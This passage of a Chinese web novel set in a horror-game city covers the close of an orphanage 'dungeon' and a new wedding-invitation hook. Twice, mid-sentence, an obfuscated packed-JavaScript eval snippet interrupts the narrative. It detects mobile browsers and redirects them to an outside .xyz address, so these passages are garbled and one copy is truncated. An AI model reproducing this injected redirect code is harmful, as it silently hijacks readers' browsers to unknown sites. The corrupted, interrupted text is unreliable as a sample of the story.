“于是,几个好事的孩子偷偷跟了上去,想搞砸小七被送养的机会。我也悄悄跟在他们身后,结果……我们一路跟到了地下室。” “我们看见,小七被绑在手术台上,而院长戴着那顶黑色礼帽,站在她身前,俯视着她,像是在打量砧板上的一块肉。” “那一刻,我们才终于相信了她的话。” “原来,院长一直在将孤儿们的器官贩卖给有钱人家!” 虞绛微微皱眉,她察觉到了一丝不对劲。小青的所有推测,都仅仅停留在器官买卖上,完全没有涉及“克隆体”的真相。 她,根本不知道自己究竟是什么。 小青继续道:“我们很快被发现了。” “但小七自己走了出来,告诉大家她只是生病了,需要做个小手术。” “可奇怪的是,手术室的大门依旧紧闭,院长没有一同出来,仿佛里面的手术从未停止。而小七……我总觉得,那时候的她好像比原来高了半个头。” 虞绛心头微震,她隐隐感觉,自己正逐渐触及副本的核心真相。 “后来,她的手术……真的完成了吗?”虞绛问道。 小青摇摇头:“当时院里还有几个外来的义工。你,就是其中一个。” “你曾在小七玩捉迷藏迟迟未归时,去找过她好几次……后来,你好像在访客居住的侧楼发现了什么东西,异常愤怒地放火烧了整座侧楼。” “就在大火蔓延的瞬间,手术室里传出了巨大的响动。” “小七听见动静,慌乱地推门进去……门只敞开了一小条缝,可透过那条缝隙,我好像看见手术台上,竟然还有另一个一模一样的她……” “我不知道那是不是我的幻觉。” “但没过多久,手术室的大门被锁死,里面传来了混乱的惨叫。直到最后,你竟然也出现在那间手术室,抱着小七走了出来。” “小七的手上沾着血,脸色苍白如纸,一副失魂落魄的模样。” “我们追问她发生了什么,她却沉默不语。而你告诉我们,院长和访客们想伤害我们,现在他们都死在火里了。从今以后,我们可以继续留在孤儿院,也可以选择离开。” “我们一头雾水,因为这番说辞,与小七在手术室出来时的说法完全对不上。” “再后来,你和小七促膝长谈后离开了。小七留了下来,静静地等了很久。可最终,孤儿院的孩子们还是各自散去了。” 远处,恼羞成怒的大怪物四处游走,焦躁地寻找着宣泄的目标。 直到,它发现了假山旁毫无遮掩的虞绛和小青,如同猎手终于盯上了最合适的猎物,兴奋地踏步逼近。 “义工姐姐!”一声稚嫩的喊叫响起,小桑柒推开别墅的大门,气喘吁吁地抱着一个沉甸甸的布袋跑了出来。 小青望着她的身影,满脸惊愕:“这是……小七?!” 虞绛早已猜到,小青口中那个女孩,正是001号克隆体,也是为有心脏病的桑家千金储备的心脏供体。 然而,一个奇怪的念头突然闪过,她微微凑近小青的耳边,低声问了一句话。 小青闻言一怔,惊讶又疑惑地打量着向她们飞奔而来的小女孩,迟疑地点了点头:“你说的没错……不过你怎么知道?” “刘茵茵去哪儿了?”见小桑柒跑到身边,虞绛率先发问。 小桑柒吃力地将布袋放下,弯着腰大口喘气: “我也不知道……发病的时候,我什么都记不清了。等我再次醒来,茵茵姐姐已经不见了。我一个人害怕,就偷偷溜进侧楼,结果发现了这些……” 她拉开布袋,露出一捆捆粗制的木质火把,燃烧端被厚厚地裹上了一层油脂: “我上次偷听到那个姓顾的哥哥说,大怪物怕火!姐姐,这些给你,你就能保护大家,打败它了! 她满怀期待地仰头看着虞绛,眼中闪烁着天真的光芒。 不远处,大怪物咆哮着猛冲而来。小桑柒害怕地揪紧虞绛的衣角,躲在她身后瑟瑟发抖。 怪物的阴影已然逼近,几乎触手可及。就在此刻,小桑柒适时将一根火把和一个打火机塞进了虞绛的手中。 副本的真相已经明朗,而鬼怪与玩家两大阵营的较量也即将见分晓。 只要她彻底消灭对方阵营的头目,不仅能赢得对决,阻止对方继续猎杀人类,还能通关游戏拿到奖励,也没有被举报的风险。 一切似乎水到渠成…… 如果她刚才没有从小青那里验证自己猜想的话。 大怪物足有两米高,每一缕肌肉线条都在阴影中绷紧。它仰头一跃,携着凶猛的冲势,朝虞绛猛扑而来。 可虞绛没有闪避。 她静静地望进大怪物的眼睛,手心一松,火把落地。在小桑柒和小青惊愕的目光中,她反手从衣兜里掏出了一张牌—— 正是那张从保险箱的花名册里偷取来的小鬼牌。 怪物的巴掌裹挟着刀锋落下,而虞绛不慌不忙,将小鬼牌贴在自己的额头上,仿佛身体自带记忆般,轻轻抬手。 她抢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547537|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先拍了拍大怪物宽厚的掌心,语气温和,仿佛带着令人心安的魔力。 “抓到你了。”她微笑着道,“这局捉迷藏我当鬼,你输了。” “小七。” 大怪物的动作猛然一滞,那只蓄势待发的巨掌悬在半空,久久未曾落下。 它的眼神逐渐变得清明,混乱与疯狂如潮水般从瞳孔深处退去。 记忆的碎片,在它的脑海里闪回。 场景一: “不是说好玩捉迷藏吗?我藏了这么久,你们为什么不来找我!” 小女孩满头大汗地从负一楼冲上来,怒气冲冲地扑向正在结伴前往花园的孩子们。 她力气比同龄人更大,只是轻轻一推,却把一个小男孩撞倒在地。 小男孩被吓得哇哇大哭,愤怒地指着她喊:“你这个大怪物!” “谁愿意当鬼抓你?谁想跟你玩啊!” 其他孩子纷纷避开她的目光,蜂拥而去,没人回头。 场景二: 消毒水的味道弥漫在空气中,手术室的甬道透着炽热的火光,温度节节攀升。她被牢牢绑在手术台上,院长在一旁暴怒咆哮。 而另一个自己,站在一旁,笑得得意。 那是真正的桑家千金,名叫桑栖,凤栖梧桐的“栖”。 而她是克隆体小“七”,第七代克隆体的编号“七”。 今天是她的六岁生日,也是她的死期。 她即将在这张手术台上奉献自己的心脏,换取真正的桑家小姐继续活下去的资格。 她看着站在光影交错处的女孩,她的脸与自己如出一辙,却透着高高在上的骄矜。 “刚才他们对我可友善了呢。”桑栖笑眯眯地说道,语气中带着一丝刻意的炫耀,“看来院长说你被孤立,可能是克隆人的性格缺陷之一。” “不过你的器官倒是挺健康的,真是幸运。” 场景三: 烈火焚烧,空气滚烫。她被人小心翼翼地抱在怀里,带出了炙热的室内。 她呆呆地望着其他孩子,他们的目光中罕见地流露出善意。可她无暇回应。 直到所有人离开,大姐姐蹲在她眼前,温柔地看着她。 “院长死了,你自由了。”大姐姐的黑发轻轻拂过肩膀,眼神璀璨如星辰,“无论你想去哪里,都可以。” “可是……我从没出过这个院子。”她迷茫地呢喃。 “副本已经崩塌,你的行动暂时不会受系统限制。” 大姐姐指向远方的钟塔,嘴角噙着一丝笑意: “等我去中心第一区办件事,如果成功了……十天后,你和游戏里的所有人,就真正自由了。” 她呆呆地望过去,城市中心的钟塔遥远得只剩一个黑点。 “那……你会回来找我吗?”她轻轻攥住大姐姐的袖子。 大姐姐笑了,递给她一块沉甸甸的怀表:“等时针转十圈,我就来找你。” 随后,她变戏法般拿出一张小鬼牌,轻轻贴在额头上。 “到时候我来当鬼,我们再玩一场捉迷藏吧。” “……嗯?!太好了!!!” 第一次,有人愿意陪她玩这个无聊的游戏。 她高兴得跳了起来。 17. 看不见的孤儿院(完) 回忆碎片般渐次浮现又消散,人生的走马灯闪回了一遍,最终定格大姐姐将小鬼牌贴上她额头时,眼中跃动的狡黠光芒。 十年太久,久到记忆中的容颜已然模糊,但此刻却与眼前这个陌生女人重叠在一起。 虞绛无畏地挡在她面前,手掌迅速触碰她的掌心。随即,那张象征着“小鬼”身份的扑克牌,被她轻巧地按上额角。嘴角微微上扬,笑容得意而狡黠。 “小七。” 不是桑柒,也不是桑栖,而是小七。 她准确无误地喊出了那个深埋于记忆中的真正名字。 那一瞬间,沉沦的梦魇剧烈震荡,混沌的迷瘴从脑海深处退散。她终于想起了自己的身份。 虞绛面前的庞然怪物愣了几秒,像是从漫长的沉眠中苏醒,巨大的黑影闪烁了一下,随即变得透明。晚风轻轻一吹,庞然的身躯化作破碎的阴影四散消失。 最终,露出了桑柒的身影。 “天哪,是小姐!”身后的小青捂嘴惊呼。 桑柒静静地站在火光交错的阴影中,丝质睡袍轻轻晃动,脸上仍残留着大梦初醒的迷茫。 她环顾四周,浓重的夜色中,别墅被梦魇吞噬,变得压抑而诡异。最终,她将目光落在虞绛身上。 “果然是你。”虞绛的猜测终于被证实,她轻轻舒了口气。 桑柒却微微皱眉,疑惑道:“为什么没有对我动手?” “虽然系统和副本鬼怪一直在引导我杀掉副本Boss,也就是你。但我记得很清楚,通关条件是存活三天,破除山庄主人的梦魇,并还原事情真相。” 虞绛双手抱胸,得意地扬起下巴:“可没有说,一定要杀掉副本Boss才行。” 她顿了顿,目光扫向小桑柒,语气陡然严厉:“还有你!” 小桑柒紧攥着火把,手背上青筋暴起,沉默地盯着虞绛,目光幽深怨毒。 “起初,我的确以为你是幼年的桑柒,甚至差点被你蛊惑,把攻击的目标指向大怪物。”虞绛冷笑,步步紧逼。 “但你太心急了。那晚,你和小男孩一起逃走,可小男孩被剖心的手法和前一晚如出一辙,分明是出自胖院长和红眼鬼之手,可你却咬死了是大怪物干的……” “后来,你说自己害怕,跑去侧楼藏身,可你分明是从主楼门口抱着柴火出来的。真害怕的话,为什么不直接从侧楼逃出来,反而要穿越地下室的甬道往返?” 虞绛眯起眼,语气更为笃定。 “还是说,你根本就没去过侧楼,而是一直待在主楼,只是以另一种面貌跟我对峙?” 小桑柒的脸色终于变了。 她低垂着头,肩膀微微耸动,下一秒,竟低声闷笑了起来。 “真是大意了……”她缓缓抬起头,笑意阴冷,“好不容易碰上一个外来的NPC,本想借你的手除掉那个女人,好腾出副本Boss的位置……” “假扮刘茵茵的也是你吧?”虞绛忿忿插嘴,叉腰直指对方,“你就是第四只假面鬼。” 身旁的桑柒对假面鬼的恶意并不意外,她只是安静地打量着虞绛,仿佛想要从她身上找寻出什么。 那随意的白T恤、工装裤,凌乱的长发,分明与记忆中那个人的身影重合…… 但,不是她。 印象里的大姐姐,有着沉重的心事。即便对她笑,眼底也藏着难以言说的复杂和疲倦。她对自己的事情总是闭口不谈,是个无法开怀大笑的人。 可眼前的虞绛,撒谎时眼珠子心虚地乱转,得理不饶人时气势汹汹,哪儿有半点大姐姐的成熟稳重? 桑柒深吸一口气,强行将自己从回忆中抽离,目光冷冽地扫向假面鬼: “既然我们都【出戏】了,那就快点结束这个副本吧。” 出戏? 虞绛微微一愣,默默记下这个奇怪的词汇。 然而,假面鬼却发出一声刻薄的冷笑,双眼兴奋地泛着光:“别急啊!你是【出戏】了,可这场好戏我还想演下去呢……” 她舔了舔嘴唇,目光直勾勾地盯着虞绛,森然道:“毕竟,介入副本的外来NPC,可不多见呢。” 话音刚落,前方的山庄骤然亮起了点点火光,窗户中,浓烟翻滚,烈焰舔舐着别墅的每一寸木梁。 “你不是一直在找你的朋友吗?”假面鬼阴测测地笑着,轻飘飘地丢出一句话,“她还在别墅里,就被锁在三楼桑柒卧室的衣柜里。” 虞绛的瞳孔骤然紧缩,她明明已经清理了二楼的所有镜子,却遗漏了三楼的镜面…… 他们趁桑柒精神混乱时,利用镜子将刘茵茵转移到了她的房间?! 楼内火势汹汹,虞绛尝试操控孩子房间里的蜡像替身。刹那间,所有蜡像齐刷刷地从床上坐起,门锁内堵塞的蜡块自行融化,房门得以打开。 被浓烟呛醒的孩子们惊恐地捂住口鼻,顺着墙壁朝火势稍小的天台逃去。 然而,紧随其后的蜡像替身一踏入走廊,便被滚烫的热浪灼烧得骤然退后。温度持续攀升,它们的身躯迅速软化、塌陷,直至融化成一滩滚动的蜡液,甚至化作大火的燃料,使火势更加凶猛。 这也是虞绛最大的弱点,蜡像怕火,天经地义。 可她没有犹豫,见远程操控行不通,便如离弦之箭冲进了烈焰翻腾的别墅一楼。 假面鬼站在火光之外,满意地看着虞绛自投罗网的背影。既然这个外来NPC不能帮她杀掉桑柒,那就只好成为他们的口粮了。 “小姐!” 小青惊叫出声,桑柒亦紧随其后,毫不迟疑地冲进了火海。 “你怎么也跟进来了?”虞绛身后的大门再次打开,她有些惊讶地看着一席单薄睡袍的桑柒。 怕火的副本Boss和怕火的蜡像人,这个组合有些滑稽。 然而,桑柒锁定了二楼艰难逃生的孩子们,并没有直接回答虞绛的问题: “这个副本诞生于我的梦魇,但心魔怎么可能在三天内消除?所以,为了D级副本的通关率,系统默许甚至诱导玩家走另一条路——解决陷入梦魇的人,梦魇便会自行崩塌。” 火光映照,她的眼眸燃烧着赤色的光芒。从副本演绎中【出戏】后,桑柒清楚地记得自己曾被玩家千百次逼进大火,任凭烈焰蚕食每一寸皮肤。 “但这一次,我想像当初那样,勇敢地直面它们。”桑柒喃喃道。 应该被灼烧的,是罪恶本身,而不是她。 十年前,她亲手将院长推向堆满访客焦尸的甬道,躲过人类千金桑栖捅来的刀子,狠心将他们关进大火里。 可那些从火海中望向她的、充满恨意的目光,总在午夜梦回时徘徊。 桑柒甚至无数次思考过,自己这样不被同龄人、不被社会真正接纳的克隆人,是否才是应该去死的那个? “所以,用火杀掉你,真能成功通关?”虞绛挑眉。 “是啊,后悔了吗?” 话音未落,一根燃烧的横梁骤然坠落,砸在桑柒面前,她的身躯本能地后退了一步。 “不,我准备试试另一条路。”虞绛轻笑,语气笃定。 她的皮肤已被高温烘烤得湿软,稍一靠近火焰,便仿佛要燃烧起来。然而,她的眼神依旧熠熠生辉。 “到我这里来。”桑柒的身体再次幻化为庞然怪物,黑色的躯体坚实如铁。 虞绛一跃而上,稳稳落在她的肩头。桑柒无视烈焰的啃噬,径直攀上三楼,火光沿着她的毛发灼烧,留下焦黑的痕迹。 孩子们哭声此起彼伏,纷纷涌向三楼。而奇怪的是,三楼所有房间都已空空荡荡,甚至连平日紧闭房门的老师们都不见踪影。 桑柒托起一个跌坐在地上的孩子,狠狠挡开燃烧坍塌的房门,将孩子送上连通天台的楼梯。 火势实在太大,即使她已变幻为大怪物的形态,全身也布满了焦痕,连黑色的毛皮都燃烧着火星。 与此同时,虞绛终于在桑柒的房间里找到昏迷不醒的刘茵茵,费劲地背起她便往外面逃亡。 高温之下,她的身躯湿滑无力,意识亦开始模糊,甚至浮现出一些从未有过的念头。 比如,如果她全身都被点燃,蜡液烧得一点不剩,自己会从世界上彻底消失吗? 还是变成游荡在心跳之城的游魂,就像夜晚出没的喰鼠那样? 最后,她咬了咬舌头保持清醒。可尽管如此,她仍感到自己的生命力在不断流逝,背上的担子也因此越来越重。 虞绛心里暗暗下定决心:等回去之后,一定要让这玩家给自己的棋牌室副本打工还债!唔……要不让她当前台好了! 靠近楼梯口时,桑柒正护送最后一个孩子,而她的黑色身躯已千疮百孔,连脚下都燃起扑不灭的火焰。 虞绛也好不到哪去,她的身形已经融化得缩小了一大圈,身后拖出一条长长的蜡痕。 桑柒看了她一眼,最终伸出满是伤痕的大手,将她连人带货托举而起,送上了天台的楼梯口。 而就在她奋力抛出虞绛的瞬间,楼梯终于发出一声不堪重负的悲鸣,轰然断裂! 桑柒的力气已经耗尽,脱力之下恢复人形,在坠落间伸手死死勾住二楼栏杆。 脚下的火海愈烧愈烈,炽热的空气翻涌而上,她仿佛一片在烈焰中摇摇欲坠的枯叶,随时可能坠入灼烧殆尽的命运。 天台上,虞绛刚冒出地面,夜晚的凉风便迎面拂来,驱散了她身上的灼热。然而,当她看清眼前的场景时,瞳孔微缩。 只见获救的孩子们惊魂未定地瘫倒在地,站在他们面前的是一个高大的男人。他脚边躺着最后一只红眼鬼的尸体,此刻正与天台边缘的胖院长隔空对峙。 他们之间站着八个宛如木偶般死气沉沉的女老师,腹部高高鼓起,那是下一批实验克隆体的温床。 “仇辛?”虞绛看清男人的脸庞时脱口而出,但随即意识到了什么,换上了戏谑的笑容,“不,裴……赔给你的工艺品好用吧?” “仇辛”眼神复杂地瞥了虞绛一眼,但很快便移开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不过,你也算死得其所。吞噬一个外来的NPC,我的实力就能更进一步,早晚会干掉桑柒成为新的Boss!” 随后,它不再关注天台战局,仿佛确信虞绛的死亡已成定局。它将目光缓缓扫向身侧唯一的活人,小青。 在副本彻底结束前,再收割一个人头,才算画上完美的句号。 小青心头狂跳,呼吸微滞,冷汗顺着脊背滑落。她不敢移动半步,指尖却死死扣住藏在身后的物件——那是虞绛临走前塞给她的东西。 “如果遇到危险,就拿出来对准它。”虞绛冲进火场前,曾悄悄交代过她。 眼前的怪物顶着幼年版桑柒的脸,眼底却满是冰冷嗜血的杀意,缓缓逼近。 小青心一横,死马当活马医,猛地大喝一声,闭着眼将手中的东西狠狠举到假面鬼面前。 假面鬼动作微滞,低头望向她手中的“武器”,随即轻蔑地嗤笑:“我还以为是什么呢,原来只是一面破化妆镜?” 下一秒,它猛然暴起,直扑小青! 然而,电光火石之间,那面巴掌大小的化妆镜中,骤然涌出滚滚火焰! 不,不是火焰,而是熊熊燃烧的蜡液! 滚烫的蜡液如潮水般涌来,裹挟着令人心悸的幽蓝光芒,朝假面鬼兜头浇下! “这、这是什么?!” 假面鬼来不及反应,瞬间被烈焰吞没,尖锐的惨叫回荡在别墅之中。 与此同时,别墅内的火势已经吞噬了二楼的楼梯。烈焰翻腾,空气炽热得仿佛要将一切燃成虚无。 桑柒仍旧吊在摇摇欲坠的栏杆上,手指因高温而逐渐失去知觉,意识也渐渐模糊。 她听见木头燃烧的噼啪声,上方的支撑点已然裂开,再过片刻,她便会坠入熊熊火海。 “也好……”她在心底喃喃道,“即便再次迎来被烈火焚烧的结局,至少那个奇怪的女人能顺利通关。” 然而,就在她闭上眼的刹那—— 火焰,熄灭了。 四周骤然一轻,连带着身体上的伤痕也随之消失。桑柒惊愕地睁开眼,却发现自己已经稳稳落地。 而几乎在同时,刘茵茵也从黑暗中猛然惊醒。 “叮——” 【亲爱的内测玩家,恭喜您通关D级主线副本《看不见的孤儿院》,通关奖励正在结算,请稍等。】 夜色散去,天光乍泄。 那面镶满宝石的化妆镜啪嗒落地,镜面微微晃动,仿佛仍残留着某种异样的波动。旁边,一小团焦糊的蜡液艰难地蠕动着,散发出微微余热。 在方才的生死一线间,虞绛先吞噬了胖院长,继承了他的镜中穿越能力,然后迅速从留给小青的化妆镜中穿梭而出。在最后关头,将假面鬼一并吞噬! 至此,桑柒的心魔,那三个副本鬼怪,也尽数湮灭。 游戏结束,活到最后的是她,哪怕只剩下一点点。 虞绛,赌赢了。 18. 第18章 【亲爱的内测玩家: 恭喜您顺利通关D级主线副本《看不见的孤儿院》,您的通关评级为“优秀”,通关奖励20000心跳值,玩家等级升至Lv2。 请注意:心跳值是《心跳之城》通用货币,可用于技能加点、道具购置、副本打赏、转赠他人等,请合理规划、理性消费。】 虞绛在系统语音播报声中悠悠转醒。 激动的心,颤抖的手,她恨不得立刻捞起手机,赶紧把2万心跳值转进自己的账户! 然而,她不能。 此刻的虞绛还是一坨无法凝成人型的焦糊蜡液,被盛放在桑柒卧室的浴缸里,蜡液翻滚沸腾着,不断冒出气泡。 边上,三个人好奇地围着浴缸观摩。 “虞老板,能听见我说话吗?”刘茵茵小心翼翼地询问。 “咕噜……”浴缸里的蜡液轻轻冒了个泡。 “这么沸腾下去会不会烧干了?要不我拿点冰块过来降温?”小青也有些担心。 “咕噜咕噜……”泡泡应声翻滚。 这时,桑柒也开口了:“伤得这么重,不如留下来休养一阵再走吧。” 她坐在浴缸边缘,神色依旧是惯常的清冷疏离,但眼中闪过一抹隐秘的期待。 “咕噜咕噜咕噜咕噜……” 虞绛的蜡液激动地翻腾起来,一连串的泡泡在浴缸里炸开。 旁边的裴翎本在冷眼旁观,终于被她吵得忍无可忍:“她说她没事,就是吃撑了消化不良,自己会慢慢恢复的。而且她得立刻启程,不然赶不上交租的DDL,副本就没法重新开业了。” “咕噜……”虞绛对裴翎的翻译表示满意。 桑柒闻言,垂眸沉默了片刻,随即无声起身,离开了房间。 昨夜的大火已经将度假山庄烧得满目疮痍,墙壁焦黑、楼梯断裂,仆人们正在热火朝天地修缮受损的结构。 曾经华丽的庄园,如今已成废墟,但桑柒却比任何时候都更觉得安心。 因为……孤儿院的梦魇,也彻底消失了。 她的手机不断震动,提示音此起彼伏。桑柒低头看向手中那部属于副本Boss的专属设备,屏幕上跳出几条未读短信,全是系统的紧急通知。 【尊敬的副本Boss,您的D级主线副本《看不见的孤儿院》疑似遭遇外来力量攻击,副本地图和主要NPC均受到不可逆损坏,副本面临崩塌风险!】 【警报!《看不见的孤儿院》无法还原!无法修复!副本即将崩塌!请您尽快采取行动,重新搭建副本框架,否则您将从副本Boss降级为普通NPC。】 【《心跳之城》开发组已开通投诉通道,如您在副本营业过程中遭遇外来NPC干扰,影响了游戏进程并造成了严重损害,系统可启动追责及处罚程序。请问您是否需要上报投诉?】 桑柒神色冷淡,随手滑过前两条信息,在最后一条短信的回复框中敲入“否”。 “昨晚的大火掺杂了我的蜡液,对山庄大楼造成了不可逆的损害……害你的副本崩塌了,对不起。”身后响起裴翎的声音。 桑柒回头,却见他朝自己扬了扬肩上的热水瓶。瓶身微微颤动,内部液体翻滚,冒出密集的气泡。 “是她让我转述的。” 桑柒的视线紧紧落在热水瓶上,沉默片刻,忽然开口:“你喜欢当副本Boss吗?” “咕噜!”热水瓶里愉快地冒了个泡。 这一次,不需要裴翎翻译,桑柒也明白了那是肯定的意思。 桑柒忍不住翘了翘嘴角,旋即又强行压下,收敛住笑意:“可我只觉得很痛苦,如果可以选择,我才不想每晚变成大怪物,也不想每次都被玩家烧死。所以,你破坏了我的副本,反而解开了我的梦魇和枷锁。” 她的目光变得柔和,长久笼罩在身上的阴郁气息也随之消散,整个人显得轻松了不少。 “虞绛,谢谢你。” 裴翎看着她的神色变化,顿了顿,又问:“那接下来你打算怎么办?” 桑柒目光投向远方,嘴角弯起一抹淡淡的弧度:“我还有积蓄,先休个长假,之后再找个轻松的副本躺平吧。” 裴翎侧耳听着虞绛叽里咕噜的嘀咕,随即将一只怀表和一副小鬼扑克牌递到桑柒面前: “她让我把这两个东西还给你,还说……虽然你很喜欢这块表,但如果缺钱,可以卖给系统商店换点心跳值。” 桑柒微微一怔,随即摆摆手:“那倒不用。我继承了那对便宜父母的遗产,账上还有三千万心跳值,虽然不算多,但休息一段时间绰绰有余。” 裴翎的手僵在空中,和热水瓶一起噤声,此时两个西八区的贫民同时沉默了。 虞绛陷入沉思,和哼哧哼哧通关副本相比,给富婆当陪玩是不是来钱更快? “更何况——”桑柒低头看着那块怀表,神色柔和,“我已经不再需要它了,送给你吧。” “咕噜噜噜噜!”虞绛开心地冒了个连环泡。 “不过,我还得提醒你!”桑柒收敛笑意,神色变得凝重。 “在小时候那场变故后,真桑栖的父母将错就错,把我带回了中心第三区。那片区域遍布A级副本,每天都有高等级NPC出没,甚至狩猎弱小的NPC。” “我提心吊胆地熬过了八年,最终选择离家出走,逃回孤儿院……结果刚到这里,就收到那对夫妻死亡的消息。” 她深吸一口气,语气不自觉放缓,认真叮嘱道:“我不知道你扮成玩家打副本是为了什么,但你记住——绝对不要靠近A级以上的副本区域,尤其是中心区!” 裴翎在听到“中心区”时,眼神微不可察地闪了闪,片刻后才代虞绛点了点头,表示她知道了。 挥别桑柒和小青后,装着虞绛的热水瓶被裴翎安置到三轮车的后座上,身边是刘茵茵和满满当当的精美物件,有轻便折叠椅、漂亮的烛台、精致的餐具等等。 这一切,皆因桑柒察觉了她的窘迫,贴心地让管家将别墅内幸存完好的物件悉数装车,作为她的开业贺礼。 虞绛看着这堆精美的物件开心地冒泡。她奋力将热水瓶的木塞顶开,伸出一颗刚凝聚而成的脑袋,皮肤透明没有血色,额头上正贴着那张活灵活现的小鬼牌。 “等我的棋牌室做大了,还要邀请你来玩捉迷藏!”她终于能张嘴说话,朝着在门口目送她们的桑柒大声喊道。 “一言为定。”桑柒轻笑,同样大声回答。 她的眼眶里泛起朦胧的雾气,三轮车缓缓启动,车尾的热水瓶中探出一颗笑容明媚的女人头颅,盈盈地朝她告别。 这一幕既诡异又滑稽,竟意外地与记忆里的画面重叠: 在那场大火熄灭的下午,大姐姐也是这般向她挥手告别,然后大马金刀地跨坐在三轮车驾驶位上,将老旧散架的破三轮骑出了豪车的气势,义无反顾地驶向可怕的中心区。 “小姐好久都没有这么笑过了。”小青慈爱地感叹道,“果然,每次见到裴先生心情就会变好呢。” 桑柒困惑地将目光从虞绛和三轮车上收回,自己这个小女佣是不是对她有什么误解? *** 三轮车一驶入西八区,刘茵茵便不住地朝着街道两边张望,寻找自己好友的身影。 “我记得,上次我是在蜡像馆附近和陆骁分别的,当时我们正在找他丢失的手机,结果我突然被系统丢进副本里……” 可是,蜡像馆位于街尾,周围半个人影都没有。而且,已经过去了三天,陆骁知道夜晚喰鼠的厉害,一定会找个庇护所藏身。 他会去哪里呢? 与此同时,三轮车在蜡像馆与隔壁废品站之间停了下来,虞绛的四肢和躯干已然恢复,便头也不回地撇下开了一路三轮车的裴翎,迫不及待地奔向熟悉的大门。 刘茵茵亦步亦趋,思索片刻,觉得陆骁回到蜡像馆的可能性最大。 “我还上房租了,蜡妹棋牌室今天就能重新营业啦!”虞绛兴冲冲地向自家员工们宣布了东山再起的好消息。 然而,大厅中央方桌旁,三个蜡像员工正愁眉苦脸地摆弄着桌上的一堆绿色蜡块,见她归来仅淡淡地瞥了一眼,对新副本开业的消息毫无波动。 “陆骁!你在这里吗?”刘茵茵也急切地寻找自己的好友,但棋牌室副本只是一栋二层小洋楼。她寻遍一楼的大厅和仓库未果后,又蹬蹬蹬地跑上楼梯继续搜寻。 “大家是有什么心事吗?”虞绛费解地坐下,随手拿起桌上被他们拨弄过的绿色蜡块。 定睛一看,这 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“那人呢?你们弄丢了?!”虞绛心头一惊,毕竟是她盗用了玩家身份,差点害人家流落街头。 小丑蜡像人摇了摇头:“他说饿了,要去吃……吃席。” “去哪儿了?”刘茵茵着急追问,在惊悚游戏里吃席,听起来就是作大死的节奏。 小丑蜡像人冥思半晌,支支吾吾道:“上了一辆红色的移动房子。” 虞绛眯起眼睛:“是红色轿子吧?” 女蜡像人点点头,递过一叠请柬:“这些是从门缝里塞进来的,他打开一张,说要去吃席,然后就被一顶红轿子接走了。” 虞绛翻开大红色的请柬,刘茵茵也凑上前来,只见血红的喜帖上,朱砂字迹赫然映入眼帘: “刘府大婚喜帖: 南山村口,西河之畔,邀君共贺新婚之喜。 初日迎亲,次日设宴,三日洞房,良缘即成。 若蒙应允,合上此函,自有迎亲使者前来引路。 婚宴隆重,席设珍馐,琼浆待客,望君莫误佳期。 一诺既出,切勿失约,切勿反悔,勿负良辰吉时。 南城第六区南山村” 虞绛神色一凝,随手放下请柬:“他进副本了。” “可……没有手机,不是无法识别身份、无法进入副本吗?”刘茵茵脸色发白。 陆骁就是因为手机丢失,才没能进入《看不见的孤儿院》。 虞绛烦躁地挠了挠头:“有些副本有自主扩张倾向,会主动吸引城市里的生物进入,无论有没有玩家身份。时间久了,可能会被同化成NPC。” 刘茵茵眼圈泛红:“陆骁那个菜鸡不会彻底回不来了吧?” 虞绛沉思片刻,按照纸上的内容,将请柬果断合上。 “放心,既然我用了他的身份,就会负责擦屁股。” 话音刚落,门外悄无声息地出现了一顶大红轿子,仿佛凭空浮现,静静停在门口。 虞绛冲着刘茵茵拍拍胸口,豪气干云:“管它是个什么等级的副本,我一定会把你朋友带回来!” 不过,她默默咽下了后半句——带回来培训员工精进棋牌技艺。 然而,就在虞绛自信迈步跨出大门时,口袋里的老旧诺基亚忽然震动,一条系统消息弹了出来。 【亲爱的副本Boss,您的F级副本《恐怖蜡像馆》已偿还欠缴房租,重新获得营业资格。按照最新申请,您的副本正式更名为《蜡妹棋牌室》,祝您开业大吉!】 【为帮助您重新熟悉副本经营事务,请认真阅读《副本Boss行为守则》,避免违规操作。】 【1.副本Boss在营业期间,只能在副本半径100米范围内活动。】 …… 虞绛的脚步僵在原地,豪气万千的气势在看到第一条行为守则时彻底熄火。 她仔细回忆,自己在暂停停业前,确实从未离开过之前的蜡像馆,最远的活动范围也不过是隔壁三家店铺。 而此刻,门外的大红轿子静静伫立,门帘无风自动掀起,正对着她手中血红色的请柬封面。 像是一张张开的血口,耐心又笃定地等待着她入瓮。 19. 荒村婚宴宾客须知(一) 裴翎刚把三轮车停进废品站,心里忍不住暗骂虞绛没良心。 辛辛苦苦载她一路,连个谢字都没听见,更别说他那打钥匙的尾款了。 一张蜡制面具,就想赖掉尾款不成? 然而,想起那张面具,裴翎不由得晃了晃神。 他还记得,孤儿院的梦魇世界逐渐与现实融合的那一刻,明知隔壁沉睡的孩子们只是虚影,知晓一切杀戮不过是系统设定好的演出,但他最终还是戴上了虞绛留下的那张蜡制面具。 冰凉、黏腻的触感贴上脸颊,银色的机械右臂藏进衣袖,仿佛他真的变成了一个普通玩家,而不是NPC修理工裴翎。 自那个人离开后,他第一次清晰地感受到活着的心跳,那是一种久违的、本能的悸动。 “啊烫烫烫——!!!” 门外,虞绛一声鬼哭狼嚎把他从思绪中拽了回来。 裴翎推门而出,只见一顶大红花轿悄无声息地停在棋牌室门口。夕阳沉落,血色余晖映在漆红木板上,诡异得仿佛是从地狱里巡游而来。 而另一边,虞绛已经蹿出半条街,此刻却像踩在熔浆上似的,抱着一条腿单脚蹦跳:“淦,还真是一超过100米就电击啊!” 